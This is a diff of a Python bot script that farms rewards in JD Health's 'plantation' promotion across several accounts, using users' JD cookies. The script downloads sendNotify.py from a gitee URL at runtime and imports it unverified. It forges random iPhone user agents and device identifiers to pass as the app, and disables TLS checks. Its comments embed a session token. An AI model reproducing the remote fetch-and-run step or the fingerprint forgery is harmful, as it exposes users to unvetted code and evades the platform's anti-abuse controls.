jd-healthy-plantation=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJodHRwOlwvXC94aW5ydWlzbXpkLWlzdi5pc3ZqY2xvdWQuY29tXC9hcGlcL2F1dGgiLCJpYXQiOjE2NDEzNTU0NzksImV4cCI6MTY0MTM5ODY3OSwibmJmIjoxNjQxMzU1NDc5LCJqdGkiOiJTcGdZbU1HeU50c084c0Z2Iiwic3ViIjoiNWF1aVRrdlZRVl9icDQ3T0EtVmRQMVFOR3FQcEhMXzUtLU5XdGs5TUhPYyIsInBydiI6IjIzYmQ1Yzg5NDlmNjAwYWRiMzllNzAxYzQwMDg3MmRiN2E1OTc2ZjcifQ.cfuKGTSrCfBX2qxrTdcW2ME3ASBbTo-DCFRwHWoPiDg" - "Origin":"https://xinruismzd-isv.isvjcloud.com", - # "Content-Length":"124", - } - data = r'{"plant_id":' + f"{charge_targe_id}" + r'}' - for i in range(10): - response = requests.post(url=url, verify=False, headers=headers,data=data.encode()) #data中有汉字,需要encode为utf-8 - result = response.json() - # print(result) - user_coins = result['user_coins'] #剩余能量 - coins = result['plant_info']['coins'] #消耗能量 - msg ("账号【{0}】充能成功,消耗【{1}】能量,剩余能量【{2}】".format (account, coins,user_coins)) - time.sleep(2) - - except Exception as e: - # print(e) - message = result['message'] - if "充值次数达到上限" in message: - msg("账号【{0}】充能次数已达上限10次".format(account)) - - -def start(): - global cookie,cookies,charge_targe_id - print (f"\n【准备开始...】\n") - nowtime = datetime.datetime.now ().strftime ('%Y-%m-%d %H:%M:%S.%f8') - if cookie != '': - account = setName (cookie) - access_token = get_ck(cookie,sid_ck,account) - cookie = get_Authorization (access_token, account) - get_planted_info (cookie, sid,account) - if nowtime > flag_time1 and nowtime < flag_time2: - taskName,taskId,taskToken = get_sleep (cookie,sid) - do_task(cookie,taskName,taskId,taskToken,sid,account) - charge(charge_targe_id,cookie,sid,account) - else: - taskName_list,taskId_list,taskToken_list = get_task (cookie,sid,account) - for i,j,k in zip(taskName_list,taskId_list,taskToken_list): - do_task(cookie,i,j,k,sid,account) - taskName, taskId, taskToken_list = get_task2(cookie,sid,account) - for i in taskToken_list: - do_task2 (cookie, taskName, taskId, i, sid,account) - charge(charge_targe_id,cookie,sid, account) - elif cookies != '': - for cookie, charge_targe_id in zip (cookies, charge_targe_ids): - account = setName (cookie) - access_token = get_ck (cookie, sid_ck, account) - cookie = get_Authorization (access_token, account) - get_planted_info (cookie, sid,account) - for cookie,charge_targe_id in zip(cookies,charge_targe_ids): - try: - account = setName (cookie) - access_token = get_ck (cookie, sid_ck,account) - cookie = get_Authorization (access_token, account) - get_planted_info (cookie,sid,account) - if nowtime > flag_time1 and nowtime < flag_time2: - taskName, taskId, taskToken = get_sleep (cookie,sid) - do_task (cookie, taskName, taskId, taskToken, sid,account) - else: - taskName_list, taskId_list, taskToken_list = get_task (cookie, sid,account) - for i, j, k in zip (taskName_list, taskId_list, taskToken_list): - do_task (cookie, i, j, k, sid,account) - taskName, taskId, taskToken_list = get_task2 (cookie,sid, account) - for i in taskToken_list: - do_task2 (cookie, taskName, taskId, i, sid,account) - charge (charge_targe_id, cookie,sid, account) - except Exception as e: - pass - else: - printT("请检查变量plant_cookie是否已填写") - -if __name__ == '__main__': - printT("京东健康社区-种植园") - start () - if '成熟' in msg_info: - send ("京东健康社区-种植园", msg_info) - if '成功' in msg_info: - send ("京东健康社区-种植园", msg_info) +#!/bin/env python3 +# -*- coding: utf-8 -* +''' +感谢Curtin提供的其他脚本供我参考 +感谢aburd ch大佬的指导 +项目名称:xF_jd_health_plant.py +Author: 一风一扬 +功能:健康社区-种植园自动任务 +Date: 2022-1-4 +cron: 23 11,13,21 * * * jd_health_plant.py +new Env('京东健康社区-种植园自动任务'); + + +活动入口:20:/#1DouT0KAaKuqv% + +教程:该活动与京东的ck通用,但是变量我还是独立出来。 + +青龙变量填写export plant_cookie="xxxx" + +多账号用&隔开,例如export plant_cookie="xxxx&xxxx" + + +青龙变量export charge_targe_id = 'xxxx',表示需要充能的id,单账号可以先填写export charge_targe_id = '11111',运行一次脚本 +日志输出会有charge_targe_id,然后再重新修改export charge_targe_id = 'xxxxxx'。多个账号也一样,如果2个账号export charge_targe_id = '11111&11111' +3个账号export charge_targe_id = '11111&11111&11111',以此类推。 +注意:charge_targe_id和ck位置要对应。而且你有多少个账号,就得填多少个charge_targe_id,首次11111填写时,为5位数。 +例如export plant_cookie="xxxx&xxxx&xxx",那export charge_targe_id = "11111&11111&11111",也要写满3个id,这样才能保证所有账号都能跑 + +''' + + + +######################################################以下代码请不要乱改###################################### + +UserAgent = '' +cookie = '' +account = '' +charge_targe_id = '' +cookies = [] +charge_targe_ids = '' + +import requests +import time,datetime +import requests,re,os,sys,random,json +from urllib.parse import quote, unquote +import threading +import urllib3 +#urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) + +requests.packages.urllib3.disable_warnings() + + + + +today = datetime.datetime.now().strftime('%Y-%m-%d') +tomorrow=(datetime.datetime.now() + datetime.timedelta(days=1)).strftime('%Y-%m-%d') + +nowtime = datetime.datetime.now ().strftime ('%Y-%m-%d %H:%M:%S.%f8') + +time1 = '21:00:00.00000000' +time2 = '22:00:00.00000000' + +flag_time1 = '{} {}'.format (today, time1) +flag_time2 = '{} {}'.format (today, time2) + + + + +pwd = os.path.dirname(os.path.abspath(__file__)) + os.sep +path = pwd + "env.sh" + +sid = ''.join (random.sample ('123456789abcdef123456789abcdef123456789abcdef123456789abcdef', 32)) + +sid_ck = ''.join (random.sample ('123456789abcdef123456789abcdef123456789abcdef123456789abcdefABCDEFGHIJKLMNOPQRSTUVWXYZ', 43)) + + + +def printT(s): + print("[{0}]: {1}".format(datetime.datetime.now().strftime("%Y-%m-%d %H:%M:%S"), s)) + sys.stdout.flush() + +def getEnvs(label): + try: + if label == 'True' or label == 'yes' or label == 'true' or label == 'Yes': + return True + elif label == 'False' or label == 'no' or label == 'false' or label == 'No': + return False + except: + pass + try: + if '.' in label: + return float(label) + elif '&' in label: + return label.split('&') + elif '@' in label: + return label.split('@') + else: + return int(label) + except: + return label + +# 获取v4环境 特殊处理 +try: + with open(v4f, 'r', encoding='utf-8') as v4f: + v4Env = v4f.read() + r = re.compile(r'^export\s(.*?)=[\'\"]?([\w\.\-@#&=_,\[\]\{\}\(\)]{1,})+[\'\"]{0,1}$', + re.M | re.S | re.I) + r = r.findall(v4Env) + curenv = locals() + for i in r: + if i[0] != 'JD_COOKIE': + curenv[i[0]] = getEnvs(i[1]) +except: + pass + +############# 在pycharm测试ql环境用,实际用下面的代码运行 ######### +# with open(path, "r+", encoding="utf-8") as f: +# ck = f.read() +# if "JD_COOKIE" in ck: +# r = re.compile (r"pt_key=.*?pt_pin=.*?;", re.M | re.S | re.I) +# cookies = r.findall (ck) +# # print(cookies) +# # cookies = cookies[0] +# # print(cookies) +# # cookies = cookies.split ('&') +# printT ("已获取并使用ck环境 Cookie") +####################################################################### + + +cookies1 = [] +cookies1 = os.environ["JD_COOKIE"] +cookies = cookies1.split ('&') + + +def userAgent(): + """ + 随机生成一个UA + :return: jdapp;iPhone;9.4.8;14.3;xxxx;network/wifi;ADID/201EDE7F-5111-49E8-9F0D-CCF9677CD6FE;supportApplePay/0;hasUPPay/0;hasOCPay/0;model/iPhone13,4;addressid/2455696156;supportBestPay/0;appBuild/167629;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1 + """ + if not UserAgent: + uuid = ''.join(random.sample('123456789abcdef123456789abcdef123456789abcdef123456789abcdef', 40)) + addressid = ''.join(random.sample('1234567898647', 10)) + iosVer = ''.join( + random.sample(["14.5.1", "14.4", "14.3", "14.2", "14.1", "14.0.1", "13.7", "13.1.2", "13.1.1"], 1)) + iosV = iosVer.replace('.', '_') + iPhone = ''.join(random.sample(["8", "9", "10", "11", "12", "13"], 1)) + ADID = ''.join(random.sample('0987654321ABCDEF', 8)) + '-' + ''.join( + random.sample('0987654321ABCDEF', 4)) + '-' + ''.join(random.sample('0987654321ABCDEF', 4)) + '-' + ''.join( + random.sample('0987654321ABCDEF', 4)) + '-' + ''.join(random.sample('0987654321ABCDEF', 12)) + return f'jdapp;iPhone;10.0.4;{iosVer};{uuid};network/wifi;ADID/{ADID};supportApplePay/0;hasUPPay/0;hasOCPay/0;model/iPhone{iPhone},1;addressid/{addressid};supportBestPay/0;appBuild/167629;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS {iosV} like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1' + else: + return UserAgent + +## 获取通知服务 +class msg(object): + def __init__(self, m=''): + self.str_msg = m + self.message() + def message(self): + global msg_info + printT(self.str_msg) + try: + msg_info = "{}\n{}".format(msg_info, self.str_msg) + except: + msg_info = "{}".format(self.str_msg) + sys.stdout.flush() #这代码的作用就是刷新缓冲区。 + # 当我们打印一些字符时,并不是调用print函数后就立即打印的。一般会先将字符送到缓冲区,然后再打印。 + # 这就存在一个问题,如果你想等时间间隔的打印一些字符,但由于缓冲区没满,不会打印。就需要采取一些手段。如每次打印后强行刷新缓冲区。 + def getsendNotify(self, a=0): + if a == 0: + a += 1 + try: + url = 'https://gitee.com/curtinlv/Public/raw/master/sendNotify.py' + response = requests.get(url) + if 'curtinlv' in response.text: + with open('sendNotify.py', "w+", encoding="utf-8") as f: + f.write(response.text) + else: + if a < 5: + a += 1 + return self.getsendNotify(a) + else: + pass + except: + if a < 5: + a += 1 + return self.getsendNotify(a) + else: + pass + def main(self): + global send + cur_path = os.path.abspath(os.path.dirname(__file__)) + sys.path.append(cur_path) + if os.path.exists(cur_path + "/sendNotify.py"): + try: + from sendNotify import send + except: + self.getsendNotify() + try: + from sendNotify import send + except: + printT("加载通知服务失败~") + else: + self.getsendNotify() + try: + from sendNotify import send + except: + printT("加载通知服务失败~") + ################### +msg().main() + +def setName(cookie): + try: + r = re.compile(r"pt_pin=(.*?);") #指定一个规则:查找pt_pin=与;之前的所有字符,但pt_pin=与;不复制。r"" 的作用是去除转义字符. + userName = r.findall(cookie) #查找pt_pin=与;之前的所有字符,并复制给r,其中pt_pin=与;不复制。 + #print (userName) + userName = unquote(userName[0]) #r.findall(cookie)赋值是list列表,这个赋值为字符串 + #print(userName) + return userName + except Exception as e: + print(e,"cookie格式有误!") + exit(2) + +#获取ck +def get_ck(token,sid_ck,account): + try: + url = 'https://api.m.jd.com/client.action?functionId=isvObfuscator' + headers = { + # 'Connection': 'keep-alive', + 'accept': '*/*', + "cookie": f"{token}", + 'host': 'api.m.jd.com', + # 'User-Agent': 'jdapp;iPhone;9.4.8;14.3;809409cbd5bb8a0fa8fff41378c1afe91b8075ad;network/wifi;ADID/201EDE7F-5111-49E8-9F0D-CCF9677CD6FE;supportApplePay/0;hasUPPay/0;hasOCPay/0;model/iPhone13,4;addressid/2455696156;supportBestPay/0;appBuild/167629;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'user-Agent': userAgent (), + 'accept-Encoding': 'gzip, deflate, br', + 'accept-Language': 'zh-Hans-CN;q=1', + "content-type":"application/x-www-form-urlencoded", + # "content-length":"1348", + } + timestamp = int (round (time.time () * 1000)) + timestamp1 = int(timestamp / 1000) + data =r'body=%7B%22url%22%3A%22https%3A%5C/%5C/xinruismzd-isv.isvjcloud.com%22%2C%22id%22%3A%22%22%7D&build=167922&client=apple&clientVersion=10.3.2&d_brand=apple&d_model=iPhone12%2C1&ef=1&eid=eidI4a9081236as4w7JpXa5zRZuwROIEo3ORpcOyassXhjPBIXtrtbjusqCxeW3E1fOtHUlGhZUCur1Q1iocDze1pQ9jBDGfQs8UXxMCTz02fk0RIHpB&ep=%7B%22ciphertype%22%3A5%2C%22cipher%22%3A%7B%22screen%22%3A%22ENS4AtO3EJS%3D%22%2C%22wifiBssid%22%3A%22' + f"{sid_ck}" + r'%3D%22%2C%22osVersion%22%3A%22CJUkCK%3D%3D%22%2C%22area%22%3A%22CJvpCJY1DV80ENY2XzK%3D%22%2C%22openudid%22%3A%22Ytq3YtKyDzO5CJuyZtu4CWSyZtC0Ytc1CJLsDwC5YwO0YtS5CNrsCK%3D%3D%22%2C%22uuid%22%3A%22aQf1ZRdxb2r4ovZ1EJZhcxYlVNZSZz09%22%7D%2C%22ts%22%3A1642002985%2C%22hdid%22%3A%22JM9F1ywUPwflvMIpYPok0tt5k9kW4ArJEU3lfLhxBqw%3D%22%2C%22version%22%3A%221.0.3%22%2C%22appname%22%3A%22com.360buy.jdmobile%22%2C%22ridx%22%3A-1%7D&ext=%7B%22prstate%22%3A%220%22%2C%22pvcStu%22%3A%221%22%7D&isBackground=N&joycious=88&lang=zh_CN&networkType=wifi&networklibtype=JDNetworkBaseAF&partner=apple&rfs=0000&scope=01&sign=946db60626658b250cf47aafb6f67691&st=1642002999847&sv=112&uemps=0-0&uts=0f31TVRjBSu3kkqwe7t25AkQCKuzV3pz8JrojVuU0630g%2BkZigs9kTwRghT26sE72/e92RRKan/%2B9SRjIJYCLuhew91djUwnIY47k31Rwne/U1fOHHr9FmR31X03JKJjwao/EC1gy4fj7PV1Co0ZOjiCMTscFo/8id2r8pCHYMZcaeH3yPTLq1MyFF3o3nkStM/993MbC9zim7imw8b1Fg%3D%3D' + # data = '{"token":"AAFh3ANjADAPSunyKSzXTA-UDxrs3Tn9hoy92x4sWmVB0Kv9ey-gAMEdJaSDWLWtnMX8lqLujBo","source":"01"}' + # print(data) + response = requests.post (url=url, verify=False, headers=headers,data=data) + result = response.json () + # print(result) + access_token = result['token'] + # print(access_token) + return access_token + except Exception as e: + msg("账号【{0}】获取ck失败,cookie过期".format(account)) + +#获取Authorization +def get_Authorization(access_token,account): + try: + url = 'https://xinruismzd-isv.isvjcloud.com/api/auth' + headers = { + 'Connection': 'keep-alive', + 'Accept': 'application/json, text/plain, */*', + "Authorization": 'Bearer undefined', + 'Referer': 'https://xinruismzd-isv.isvjcloud.com/healthy-plant2021/logined_jd/', + 'Host': 'xinruismzd-isv.isvjcloud.com', + # 'User-Agent': 'jdapp;iPhone;9.4.8;14.3;809409cbd5bb8a0fa8fff41378c1afe91b8075ad;network/wifi;ADID/201EDE7F-5111-49E8-9F0D-CCF9677CD6FE;supportApplePay/0;hasUPPay/0;hasOCPay/0;model/iPhone13,4;addressid/2455696156;supportBestPay/0;appBuild/167629;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'User-Agent': userAgent (), + 'Accept-Encoding': 'gzip, deflate, br', + 'Accept-Language': 'zh-CN,zh-Hans;q=0.9', + "Origin":"https://xinruismzd-isv.isvjcloud.com", + "Content-Type":"application/json;charset=utf-8", + + } + data = '{"token":"'+ f"{access_token}" + r'","source":"01"}' + # print(data) + response = requests.post (url=url, verify=False, headers=headers,data=data) + result = response.json () + # print(result) + access_token = result['access_token'] + access_token = r"Bearer " + access_token + # print(access_token) + return access_token + except Exception as e: + msg("账号【{0}】获取Authorization失败,活动火爆,请稍后再试".format(account)) + +#获取已种植的信息 +def get_planted_info(cookies,sid,account): + name_list = [] + planted_id_list = [] + url = 'https://xinruismzd-isv.isvjcloud.com/api/get_home_info' + headers = { + 'Connection': 'keep-alive', + 'Accept': 'application/json, text/plain, */*', + "Authorization": cookies, + 'Referer': f'https://xinruismzd-isv.isvjcloud.com/healthy-plant2021/?channel=ddjkicon&sid={sid}&un_area=19_1655_4866_0', + 'Host': 'xinruismzd-isv.isvjcloud.com', + # 'User-Agent': 'jdapp;iPhone;9.4.8;14.3;809409cbd5bb8a0fa8fff41378c1afe91b8075ad;network/wifi;ADID/201EDE7F-5111-49E8-9F0D-CCF9677CD6FE;supportApplePay/0;hasUPPay/0;hasOCPay/0;model/iPhone13,4;addressid/2455696156;supportBestPay/0;appBuild/167629;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'User-Agent': userAgent (), + 'Accept-Encoding': 'gzip, deflate, br', + 'Accept-Language': 'zh-CN,zh-Hans;q=0.9' + } + response = requests.get (url=url, verify=False, headers=headers) + result = response.json () + # print(result) + planted_list = result['plant'] + # print(planted_list) + for i in range (len (planted_list)): + try: + name = result['plant'][f'{i+1}']['data']['name'] + planted_id = result['plant'][f'{i+1}']['data']['id'] + print(f"【账号{account}】所种植的",f"【{name}】","充能ID为:",planted_id) + name_list.append(name) + planted_id_list.append(planted_id) + global charge_targe_id + charge_targe_id=str(planted_id) + break + except Exception as e: + pass + print('\n\n') + + +#获取早睡打卡 +def get_sleep(cookies,sid): + url = 'https://xinruismzd-isv.isvjcloud.com/api/get_task' + headers = { + 'Connection': 'keep-alive', + 'Accept': 'application/json, text/plain, */*', + "Authorization": cookies, + 'Referer': f'https://xinruismzd-isv.isvjcloud.com/healthy-plant2021/?channel=ddjkicon&sid={sid}&un_area=19_1655_4866_0', + 'Host': 'xinruismzd-isv.isvjcloud.com', + # 'User-Agent': 'jdapp;iPhone;9.4.8;14.3;809409cbd5bb8a0fa8fff41378c1afe91b8075ad;network/wifi;ADID/201EDE7F-5111-49E8-9F0D-CCF9677CD6FE;supportApplePay/0;hasUPPay/0;hasOCPay/0;model/iPhone13,4;addressid/2455696156;supportBestPay/0;appBuild/167629;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'User-Agent': userAgent (), + 'Accept-Encoding': 'gzip, deflate, br', + 'Accept-Language': 'zh-CN,zh-Hans;q=0.9' + } + response = requests.get (url=url, verify=False, headers=headers) + result = response.json () + # print(result) + taskToken_list = result['result']['taskVos'] + for i in range (len (taskToken_list)): + try: + taskName = taskToken_list[i]['taskName'] + taskId = taskToken_list[i]['taskId'] + if "早睡" in taskName: + taskToken = taskToken_list[i]['threeMealInfoVos'][0]['taskToken'] + return taskName,taskId,taskToken + except Exception as e: + print (e) + + +#获取任务信息 +def get_task(cookies,sid,account): + try: + taskName_list = [] + taskId_list = [] + taskToken_list = [] + url = 'https://xinruismzd-isv.isvjcloud.com/api/get_task' + headers = { + 'Connection': 'keep-alive', + 'Accept': 'application/json, text/plain, */*', + "Authorization":cookies, + 'Referer': f'https://xinruismzd-isv.isvjcloud.com/healthy-plant2021/?channel=ddjkicon&sid={sid}&un_area=19_1655_4866_0', + 'Host': 'xinruismzd-isv.isvjcloud.com', + # 'User-Agent': 'jdapp;iPhone;9.4.8;14.3;809409cbd5bb8a0fa8fff41378c1afe91b8075ad;network/wifi;ADID/201EDE7F-5111-49E8-9F0D-CCF9677CD6FE;supportApplePay/0;hasUPPay/0;hasOCPay/0;model/iPhone13,4;addressid/2455696156;supportBestPay/0;appBuild/167629;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'User-Agent': userAgent (), + 'Accept-Encoding': 'gzip, deflate, br', + 'Accept-Language': 'zh-CN,zh-Hans;q=0.9' + } + response = requests.get(url=url, verify=False, headers=headers) + result = response.json() + # print(result) + task_list = result['result']['taskVos'] + # print(task_list) + for i in range (len (task_list)): + try: + taskName = task_list[i]['taskName'] + taskId = task_list[i]['taskId'] + taskToken = task_list[i]['shoppingActivityVos'][0]['taskToken'] + taskName_list.append(taskName) + taskId_list.append(taskId) + taskToken_list.append(taskToken) + except Exception as e: + print(e) + # print(taskName_list, taskId_list, taskToken_list) + return taskName_list, taskId_list, taskToken_list + except Exception as e: + print (e) + msg("【账号{0}】浏览任务已全部完成".format(account)) + return '', '', '' + +#获取加购任务信息 +def get_task2(cookies,sid,account): + try: + taskToken_list = [] + url = 'https://xinruismzd-isv.isvjcloud.com/api/get_task' + headers = { + 'Connection': 'keep-alive', + 'Accept': 'application/json, text/plain, */*', + "Authorization":cookies, + 'Referer': f'https://xinruismzd-isv.isvjcloud.com/healthy-plant2021/?channel=ddjkicon&sid={sid}&un_area=19_1655_4866_0', + 'Host': 'xinruismzd-isv.isvjcloud.com', + # 'User-Agent': 'jdapp;iPhone;9.4.8;14.3;809409cbd5bb8a0fa8fff41378c1afe91b8075ad;network/wifi;ADID/201EDE7F-5111-49E8-9F0D-CCF9677CD6FE;supportApplePay/0;hasUPPay/0;hasOCPay/0;model/iPhone13,4;addressid/2455696156;supportBestPay/0;appBuild/167629;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'User-Agent': userAgent (), + 'Accept-Encoding': 'gzip, deflate, br', + 'Accept-Language': 'zh-CN,zh-Hans;q=0.9' + } + response = requests.get(url=url, verify=False, headers=headers) + result = response.json() + # print(result) + taskName = result['result']['taskVos'][0]['taskName'] + taskId = result['result']['taskVos'][0]['taskId'] + task_list = result['result']['taskVos'][0]['productInfoVos'] + # print(task_list) + for i in range (len (task_list)): + try: + taskToken = task_list[i]['taskToken'] + taskToken_list.append(taskToken) + except Exception as e: + pass + # print(taskName, taskId, taskToken_list) + return taskName, taskId, taskToken_list + except Exception as e: + print (e) + msg("【账号{0}】加购任务已全部完成".format(account)) + return '','','' + +#做任务 +def do_task(cookies,taskName,taskId,taskToken,sid,account): + try: + url = 'https://xinruismzd-isv.isvjcloud.com/api/do_task' + url1 = 'https://xinruismzd-isv.isvjcloud.com/api/catch_task' + headers = { + 'Connection': 'keep-alive', + 'Accept': 'application/json, text/plain, */*', + "Content-Type":"application/json", + "Authorization":cookies, + 'Referer': f'https://xinruismzd-isv.isvjcloud.com/healthy-plant2021/?channel=ddjkicon&sid={sid}&un_area=19_1655_4866_0', + 'Host': 'xinruismzd-isv.isvjcloud.com', + # 'User-Agent': 'jdapp;iPhone;10.3.0;;;M/5.0;appBuild/167903;jdSupportDarkMode/0;ef/1;ep/%7B%22ciphertype%22%3A5%2C%22cipher%22%3A%7B%22ud%22%3A%22Ytq3YtKyDzO5CJuyZtu4CWSyZtC0Ytc1CJLsDwC5YwO0YtS5CNrsCK%3D%3D%22%2C%22sv%22%3A%22CJUkCK%3D%3D%22%2C%22iad%22%3A%22%22%7D%2C%22ts%22%3A1641370097%2C%22hdid%22%3A%22JM9F1ywUPwflvMIpYPok0tt5k9kW4ArJEU3lfLhxBqw%3D%22%2C%22version%22%3A%221.0.3%22%2C%22appname%22%3A%22com.360buy.jdmobile%22%2C%22ridx%22%3A-1%7D;Mozilla/5.0 (iPhone; CPU iPhone OS 15_0 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1;', + 'User-Agent': userAgent (), + 'Accept-Encoding': 'gzip, deflate, br', + 'Accept-Language': 'zh-CN,zh-Hans;q=0.9', + # "Cookie":"__jd_ref_cls=Mnpm_ComponentApplied; mba_muid=16410448680341440020208.1480.1641370098735; mba_sid=1480.10; __jda=60969652.16410448680341440020208.1641044868.1641357628.1641370076.6; __jdb=60969652.3.16410448680341440020208|6.1641370076; __jdc=60969652; __jdv=60969652%7Ckong%7Ct_1000170135%7Ctuiguang%7Cnotset%7C1641349527806; pre_seq=8; pre_session=b87b02719192f981b2f34b7510b6c9ba4b2908b0|3687; jd-healthy-plantation=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJodHRwOlwvXC94aW5ydWlzbXpkLWlzdi5pc3ZqY2xvdWQuY29tXC9hcGlcL2F1dGgiLCJpYXQiOjE2NDEzNTU0NzksImV4cCI6MTY0MTM5ODY3OSwibmJmIjoxNjQxMzU1NDc5LCJqdGkiOiJTcGdZbU1HeU50c084c0Z2Iiwic3ViIjoiNWF1aVRrdlZRVl9icDQ3T0EtVmRQMVFOR3FQcEhMXzUtLU5XdGs5TUhPYyIsInBydiI6IjIzYmQ1Yzg5NDlmNjAwYWRiMzllNzAxYzQwMDg3MmRiN2E1OTc2ZjcifQ.cfuKGTSrCfBX2qxrTdcW2ME3ASBbTo-DCFRwHWoPiDg" + "Origin":"https://xinruismzd-isv.isvjcloud.com", + # "Content-Length":"124", + } + data = r'{"taskToken":"' +f"{taskToken}" +r'","task_id":' + f"{taskId}" + r',"task_type":9,"task_name":"' + f"{taskName}" + r'"}' + res = requests.post(url=url1, verify=False, headers=headers,data=data.encode()) + # print(res.status_code) + if res.status_code == 200: + msg("正在执行任务,请稍等10秒") + time.sleep(10) + response = requests.post(url=url, verify=False, headers=headers,data=data.encode()) #data中有汉字,需要encode为utf-8 + result = response.json() + print(result) + score = result['score'] + msg ("执行任务【{0}】成功,获取【{1}】能量".format (taskName,score)) + except Exception as e: + print(e) + +#做任务 +def do_task2(cookies,taskName,taskId,taskToken,sid,account): + try: + url = 'https://xinruismzd-isv.isvjcloud.com/api/do_task' + headers = { + 'Connection': 'keep-alive', + 'Accept': 'application/json, text/plain, */*', + "Content-Type":"application/json", + "Authorization":cookies, + 'Referer': f'https://xinruismzd-isv.isvjcloud.com/healthy-plant2021/?channel=ddjkicon&sid={sid}&un_area=19_1655_4866_0', + 'Host': 'xinruismzd-isv.isvjcloud.com', + # 'User-Agent': 'jdapp;iPhone;10.3.0;;;M/5.0;appBuild/167903;jdSupportDarkMode/0;ef/1;ep/%7B%22ciphertype%22%3A5%2C%22cipher%22%3A%7B%22ud%22%3A%22Ytq3YtKyDzO5CJuyZtu4CWSyZtC0Ytc1CJLsDwC5YwO0YtS5CNrsCK%3D%3D%22%2C%22sv%22%3A%22CJUkCK%3D%3D%22%2C%22iad%22%3A%22%22%7D%2C%22ts%22%3A1641370097%2C%22hdid%22%3A%22JM9F1ywUPwflvMIpYPok0tt5k9kW4ArJEU3lfLhxBqw%3D%22%2C%22version%22%3A%221.0.3%22%2C%22appname%22%3A%22com.360buy.jdmobile%22%2C%22ridx%22%3A-1%7D;Mozilla/5.0 (iPhone; CPU iPhone OS 15_0 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1;', + 'User-Agent': userAgent (), + 'Accept-Encoding': 'gzip, deflate, br', + 'Accept-Language': 'zh-CN,zh-Hans;q=0.9', + # "Cookie":"__jd_ref_cls=Mnpm_ComponentApplied; mba_muid=16410448680341440020208.1480.1641370098735; mba_sid=1480.10; __jda=60969652.16410448680341440020208.1641044868.1641357628.1641370076.6; __jdb=60969652.3.16410448680341440020208|6.1641370076; __jdc=60969652; __jdv=60969652%7Ckong%7Ct_1000170135%7Ctuiguang%7Cnotset%7C1641349527806; pre_seq=8; pre_session=b87b02719192f981b2f34b7510b6c9ba4b2908b0|3687; jd-healthy-plantation=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJodHRwOlwvXC94aW5ydWlzbXpkLWlzdi5pc3ZqY2xvdWQuY29tXC9hcGlcL2F1dGgiLCJpYXQiOjE2NDEzNTU0NzksImV4cCI6MTY0MTM5ODY3OSwibmJmIjoxNjQxMzU1NDc5LCJqdGkiOiJTcGdZbU1HeU50c084c0Z2Iiwic3ViIjoiNWF1aVRrdlZRVl9icDQ3T0EtVmRQMVFOR3FQcEhMXzUtLU5XdGs5TUhPYyIsInBydiI6IjIzYmQ1Yzg5NDlmNjAwYWRiMzllNzAxYzQwMDg3MmRiN2E1OTc2ZjcifQ.cfuKGTSrCfBX2qxrTdcW2ME3ASBbTo-DCFRwHWoPiDg" + "Origin":"https://xinruismzd-isv.isvjcloud.com", + # "Content-Length":"124", + } + data = r'{"taskToken":"' +f"{taskToken}" +r'","task_id":' + f"{taskId}" + r',"task_type":9,"task_name":"' + f"{taskName}" + r'"}' + time.sleep(1) + response = requests.post(url=url, verify=False, headers=headers,data=data.encode()) #data中有汉字,需要encode为utf-8 + result = response.json() + # print(result) + score = result['score'] + msg ("执行任务【{0}】成功,获取【{1}】能量".format (taskName,score)) + except Exception as e: + print(e) + + +#充能 +def charge(charge_targe_id,cookies,sid,account): + if len(charge_targe_id)==0: + msg("账号【{0}】未种植".format(account)) + return + try: + url = 'https://xinruismzd-isv.isvjcloud.com/api/add_growth_value' + headers = { + 'Connection': 'keep-alive', + 'Accept': 'application/json, text/plain, */*', + "Content-Type":"application/json", + "Authorization":cookies, + 'Referer': f'https://xinruismzd-isv.isvjcloud.com/healthy-plant2021/?channel=ddjkicon&sid={sid}&un_area=19_1655_4866_0', + 'Host': 'xinruismzd-isv.isvjcloud.com', + # 'User-Agent': 'jdapp;iPhone;10.3.0;;;M/5.0;appBuild/167903;jdSupportDarkMode/0;ef/1;ep/%7B%22ciphertype%22%3A5%2C%22cipher%22%3A%7B%22ud%22%3A%22Ytq3YtKyDzO5CJuyZtu4CWSyZtC0Ytc1CJLsDwC5YwO0YtS5CNrsCK%3D%3D%22%2C%22sv%22%3A%22CJUkCK%3D%3D%22%2C%22iad%22%3A%22%22%7D%2C%22ts%22%3A1641370097%2C%22hdid%22%3A%22JM9F1ywUPwflvMIpYPok0tt5k9kW4ArJEU3lfLhxBqw%3D%22%2C%22version%22%3A%221.0.3%22%2C%22appname%22%3A%22com.360buy.jdmobile%22%2C%22ridx%22%3A-1%7D;Mozilla/5.0 (iPhone; CPU iPhone OS 15_0 like Mac OS X) 